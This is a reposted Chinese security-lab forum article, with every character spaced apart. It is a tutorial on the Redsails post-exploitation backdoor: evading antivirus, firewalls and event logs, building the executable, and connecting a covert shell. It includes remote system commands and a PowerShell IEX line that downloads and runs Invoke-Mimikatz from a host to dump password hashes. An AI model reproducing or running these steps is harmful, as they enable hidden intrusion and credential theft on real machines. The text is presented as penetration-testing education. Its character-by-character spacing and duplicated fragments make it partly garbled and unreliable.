搜索

[26874] 2019-12-11_超级隐蔽之后门技巧

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2019-12-11_超级隐蔽之后门技巧 超 级 隐 蔽 之 后 门 技 巧 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 1 2 - 1 1 在 我 们 以 往 的 渗 透 测 试 中 ， 经 常 会 遇 到 目 标 存 在 杀 软 ， 防 火 墙 等 防 护 软 件 的 情 况 ， 导 致 我 们 的 连 接 不 稳 定 以 及 连 接 中 断 等 情 况 ， 今 天 就 教 大 家 如 何 悄 无 声 息 的 绕 过 层 层 防 护 开 启 一 个 愉 快 的 渗 透 之 旅 ， 请 抓 紧 坐 好 ， 准 备 开 车 了 。 R e d s a i l s 是 使 用 p y t h o n 开 发 的 一 款 后 渗 透 测 试 工 具 ， 其 目 的 是 可 以 使 我 们 在 目 标 主 机 上 执 行 命 令 且 无 需 创 建 任 何 事 件 日 志 以 及 网 络 连 接 ， 详 细 作 用 如 下 ： 在 目 标 主 机 持 续 建 立 连 接 绕 过 许 多 常 见 的 事 件 日 志 产 生 虚 假 日 志 / 网 络 流 量 R e d s a i l s 依 赖 于 P y D i v e r t 、 P y c r y p t o 和 W i n D i v e r t 包 ， 我 们 可 以 使 用 以 下 命 令 进 行 安 装 ： 创 建 可 执 行 文 件 创 建 可 执 行 文 件 用 法 用 法 p i p   i n s t a l l   p y d i v e r t p i p   i n s t a l l   p b k d f 2 e a s y _ i n s t a l l   p y c r y p t o 在 安 装 p y c r y p t o 之 前 ， 还 需 要 M i c r o s o f t   V i s u a l   C   + + 编 译 器 。 p i p   i n s t a l l   p y i n s t a l l e r p y i n s t a l l e r - s c r i p t . p y   - F   - - c l e a n   r e d S a i l s . s p e c 在 目 标 主 机 上 执 行 : r e d s a i l s . e x e   - a   < I P   A d d r e s s >   - p   < p a s s w o r d >   - o   < p o r t > 在 本 地 进 行 监 听 ， 使 用 相 同 的 密 码 就 可 以 获 得 一 个 s h e l l p y t h o n   r e d s a i l s C l i e n t . p y   - t   < I P   A d d r e s s >   - p   < p a s s w o r d >   - o   < p o r t >
这 时 候 神 奇 的 事 情 发 生 了 ， 我 们 看 到 s h e l l 已 经 连 接 成 功 ， 但 是 并 未 建 立 新 的 连 接 ， 连 接 端 口 也 一 直 处 于 监 听 状 态 。 而 更 加 神 奇 的 是 即 使 目 标 主 机 上 并 未 开 放 我 们 的 连 接 端 口 ， 我 们 也 可 以 正 常 进 行 连 接 ， 并 且 不 会 创 建 新 的 连 接 。 如 图 ， 我 们 使 用 了 2 2 端 口 进 行 了 连 接 ， 但 是 在 目 标 主 机 上 并 未 开 放 2 2 端 口 ， 并 且 也 没 有 任 何 关 于 2 2 端 口 的 连 接 信 息 。 连 接 成 功 之 后 ， 我 们 便 可 以 通 过 r e d s a i l s 控 制 台 在 目 标 主 机 上 执 行 系 统 命 令 了 ， 执 行 命 令 方 法 如 下 ：               R e d s a i l s 也 支 持 P o w e r S h e l l ， 因 此 它 可 以 执 行 P o w e r S h e l l 命 令 。 S H E L L : : n e t   u s e r s S H E L L : : w h o a m i S H E L L : : i p c o n f i g
例 如 我 们 想 对 目 标 的 h a s h 进 行 抓 取 ， 我 们 可 以 这 样 调 用 P o w e r s h e l l 脚 本 来 执 行 ： 也 可 以 利 用 p o w e r s h e l l 与 M e t a s p l o i t 进 行 交 互 ， 不 过 这 样 就 会 建 立 一 个 新 的 连 接 ， 容 易 被 防 护 系 统 检 测 到 。 参 考 资 料 ： 参 考 资 料 ： h t t p s : / / g i t h u b . c o m / B e e t l e C h u n k s / r e d s a i l s % E 2 % 8 0 % 8 B % E 2 % 8 0 % 8 B 新 书 ： 新 书 ： 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 火 爆 上 市 ！ 渗 透 测 试 实 战 指 南 》 火 爆 上 市 ！ 购 买 链 接 ： 购 买 链 接 ： h t t p s : / / i t e m . j d . c o m / 1 2 7 4 3 2 1 0 . h t m l P S H E L L : : I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 2 / t m p / I n v o k e - M i m i k a t z . p s 1 ' ) ; I n v o k e - M i m i k a t z
M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 2 0 1 9 年 年 1 1 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 。 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 逆 向 工 程 等 方 面 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理